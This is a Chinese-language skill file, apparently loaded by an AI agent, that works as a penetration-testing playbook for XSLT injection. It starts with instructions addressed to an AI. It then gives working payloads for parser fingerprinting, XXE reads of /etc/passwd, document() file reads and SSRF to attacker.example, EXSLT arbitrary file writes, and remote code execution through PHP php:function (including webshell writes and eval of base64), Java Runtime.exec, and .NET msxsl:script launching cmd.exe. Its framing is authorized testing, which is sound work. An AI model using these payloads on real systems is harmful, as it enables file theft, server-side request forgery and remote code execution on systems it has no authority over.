xslt-injection

xslt-injection

热门

XSLT 注入测试:解析器指纹识别、XXE 与 document() SSRF、EXSLT 文件写入原语,以及 PHP/Java/.NET 扩展 RCE 攻击面。当目标存在用户可控的 XSLT/样式表输入或转换接口时使用。

1538Star
197Fork
更新于 2026/6/16
SKILL.md
只读
名称
xslt-injection
描述

XSLT 注入测试:解析器指纹识别、XXE 与 document() SSRF、EXSLT 文件写入原语,以及 PHP/Java/.NET 扩展 RCE 攻击面。当目标存在用户可控的 XSLT/样式表输入或转换接口时使用。

SKILL: XSLT 注入 — 测试手册

AI 加载指令:当服务端编译/执行受攻击者影响的 XSLT 时,即会发生 XSLT 注入。测试时应先梳理解析器家族(Java/.NET/PHP/libxslt),再根据具体平台组合利用 document()外部实体EXSLT内嵌脚本/扩展函数仅限获授权的测试,许多 Payload 具有破坏性。路由提示:如果输入属于通用 XML 解析且不一定经过 XSLT,请交叉加载 xxe-xml-external-entity;如果关心出站的 document(http:...) 请求,请交叉加载 ssrf-server-side-request-forgery


0. 快速开始

  1. 寻找 Sink(汇聚点):名称为 xsltstylesheettransformtemplate 的参数,以及 SOAP 样式表、报表生成器、XML→HTML 转换器等。
  2. 探测反射:注入唯一的命名空间或 xsl:value-of select="'marker'" — 若输出发生变化,则极可能存在执行。
  3. 识别指纹:定位解析器类型(§1)。
  4. 按家族提升权限document() / XXE(§2–3)、EXSLT 写入(§4)、PHP(§5)、Java(§6)、.NET(§7)。

快速探测(无害标记):

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:value-of select="'XSLT_PROBE_OK'"/>
  </xsl:template>
</xsl:stylesheet>

1. 厂商/解析器识别

在表达式中使用标准的 system-property 进行读取:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:text>vendor=</xsl:text><xsl:value-of select="system-property('xsl:vendor')"/>
    <xsl:text>&#10;version=</xsl:text><xsl:value-of select="system-property('xsl:version')"/>
    <xsl:text>&#10;vendor-url=</xsl:text><xsl:value-of select="system-property('xsl:vendor-url')"/>
  </xsl:template>
</xsl:stylesheet>

典型指纹特征(示例,未穷尽):

特征信号 可能的引擎
Apache Software Foundation / Xalan 标记 Xalan (Java)
Saxonica / Saxon URI 提示 Saxon
libxslt / GNOME 技术栈 libxslt (C, 常通过 PHP、nginx 模块等使用)
Microsoft URL / MSXML 字符串 MSXML / .NET XSLT 技术栈

根据识别结果选择 §5–§7 的利用路径。


2. 外部实体(通过 XSLT 触发 XXE)

当解析器允许 DTD 时,XSLT 1.0 允许在样式表或源文档中使用基于 DTD 的实体

<!DOCTYPE xsl:stylesheet [
  <!ENTITY ext_file SYSTEM "file:///etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:value-of select="'ENTITY_START'"/>
    <xsl:value-of select="&ext_file;"/>
    <xsl:value-of select="'ENTITY_END'"/>
  </xsl:template>
</xsl:stylesheet>

注意:经过加固的解析器会禁用外部 DTD — 此处失败并不代表排除其他 XSLT 攻击向量(参见 §3)。


3. 通过 document() 读取文件

document() 会将另一个 XML 文档加载到节点集中;本地文件通常作为 XML 解析(容易报解析错),但报错信息与部分读取仍可能造成泄露。

Unix 示例

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:copy-of select="document('/etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>

Windows 示例

<xsl:copy-of select="document('file:///c:/windows/win.ini')"/>

SSRF / 外带通信 (Out-of-band)

<xsl:copy-of select="document('http://attacker.example/ssrf')"/>

如果内联数据未返回给客户端,可结合基于报错基于时间的观察手段进行利用。


4. 通过 EXSLT 写入文件 (exslt:document)

当启用 EXSLT common 扩展时:

<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common"
  extension-element-prefixes="exploit">
  <xsl:template match="/">
    <exploit:document href="/tmp/evil.txt" method="text">
      <xsl:text>PROOF_CONTENT</xsl:text>
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>

影响:在路径权限允许的前提下实现任意文件写入 — 通常可通过 Web 目录、Cron 路径或文件包含点实现 RCE


5. 通过 PHP 实现 RCE (php:function)

前提是 PHP XSLT 暴露了类似 registerPHPFunctions() 的配置(属于应用层配置错误)。命名空间设置:

<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:php="http://php.net/xsl">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:value-of select="php:function('readfile','index.php')"/>
  </xsl:template>
</xsl:stylesheet>

目录遍历/列表

<xsl:value-of select="php:function('scandir','.')"/>

高危模式(历史滥用方式 — 仅限实验室验证):

  • php:function('assert', string($payload)) — 受环境影响大,已被废弃/移除;旧版应用中常结合 include/require 使用。
  • php:function('file_put_contents','/var/www/shell.php','<?php ...') — 当可调用的函数白名单放权过大时可导致写入 Webshell
  • /e 修正符的 preg_replace(历史 PHP 版本) — 替换字符串会被当作 PHP 代码执行;Metasploit 风格的链条常包裹 Base64 编码的二进制块,用于隐蔽传输 Meterpreter(或其他)分阶段 Payload。PHP 7+ 已移除该特性,仅适用于古老运行时。

旧版 PHP 等效代码(演示 /e + Base64 模式 — 仅限实验室):

preg_replace('/.*/e', 'eval(base64_decode("BASE64_PHP_HERE"));', '', 1);

仅当 php:functionpreg_replace 暴露给用户样式表时,才能从 XSLT 触发此攻击面(罕见且属于严重配置错误)。

测试者注意:现代 PHP 加固手段通常会拦截这些函数;未成功实现 RCE 并不意味着不存在 document() / XXE


6. 通过 JAVA 实现 RCE (SAXON / XALAN 扩展)

Java 引擎可能会暴露映射到静态方法的扩展函数。历史漏洞通告中曾出现过相关示例;具体语法取决于版本和扩展绑定

示意模式(概念性 — 请根据允许的扩展命名空间与 API 进行调整):

<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
  <xsl:template match="/">
    <xsl:variable name="rtobject" select="rt:getRuntime()"/>
    <xsl:value-of select="rt:exec($rtobject,'/bin/sh -c id')"/>
  </xsl:template>
</xsl:stylesheet>

Saxon 风格静态 Java 集成(高度依赖具体配置):

Runtime:exec(Runtime:getRuntime(), 'cmd.exe /C ping 192.0.2.1')

请将 192.0.2.1 替换为你的实验环境监听地址 / 文档专用 IP(RFC 5737 TEST-NET)。

操作指南:如果扩展被禁用(常见的安全默认配置),请转向 document()、SSRF 或其他地方的反序列化 — 并非所有 XSLT 端点都在开启扩展的情况下运行。


7. 通过 .NET 实现 RCE (msxsl:script)

当允许使用微软 XSLT 脚本块时:

<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:msxsl="urn:schemas-microsoft-com:xslt"
    extension-element-prefixes="msxsl">
  <msxsl:script language="C#" implements-prefix="user">
    <![CDATA[
    public string xexec() {
      System.Diagnostics.Process.Start("cmd.exe", "/c whoami");
      return "ok";
    }
    ]]>
  </msxsl:script>
  <xsl:template match="/">
    <xsl:value-of select="user:xexec()"/>
  </xsl:template>
</xsl:stylesheet>

默认安全配置通常会禁用脚本 — 将此视作开启配置下的行为。


8. 决策树

                    用户能否影响 XSLT 或 XML 转换?
                                    |
                                   否 --> 停止(不在范围内)
                                    |
                                   是
                                    |
                    +---------------+---------------+
                    |                               |
               输出是否反映                       无反射
              注入的逻辑?                     尝试盲注通道
                    |                               |
                    v                               v
            system-property()                报错、OOB、时序
              识别厂商指纹                          |
                    |                               |
        +-----------+-----------+                   |
        |           |           |                   |
      libxslt     Java        .NET              document()
        |           |           |                   |
    document()   Saxon/Xalan  msxsl:script?      SSRF/文件
    EXSLT 写入    扩展功能?       |                   |
        |           |           C# Process         EXSLT?
        v           v           v                   v
    文件读写     rt/exec      cmd.exe /c         映射证据链

Payloads All The Things (PAT) 补充说明

PayloadsAllTheThings 项目收录了许多注入类型;对于 XSLT,维护者说明中指出,相比 SQLi/XSS 工具链,没有专门维护的自动化工具板块 — 漏洞利用具有解析器与配置强相关性,主要靠代理/手工 Payload 及自定义脚本驱动。在条件允许时,请预留时间在与目标环境相同引擎/版本的本地实验室中进行复现


工具链(实用推荐)

类别 示例
代理 / 手工 Burp Suite、OWASP ZAP — 重放样式表 Payload,观察响应与报错
XML/XSLT 实验室 在虚拟机中匹配完全一致的解析器(PHP libxslt、Java Saxon 版本、.NET framework)
带外通信 (OOB) Collaborator / 私有回调服务器(用于 document('http://…')

没有任何单一的通用扫描器可以替代针对具体版本的行为验证。


相关内容

  • xxe-xml-external-entity — DTD/实体加固,通用 XML 解析器 (../xxe-xml-external-entity/SKILL.md)。
  • ssrf-server-side-request-forgery — 当 document(http:…) 或实体 URL 触发服务端抓取时 (../ssrf-server-side-request-forgery/SKILL.md)。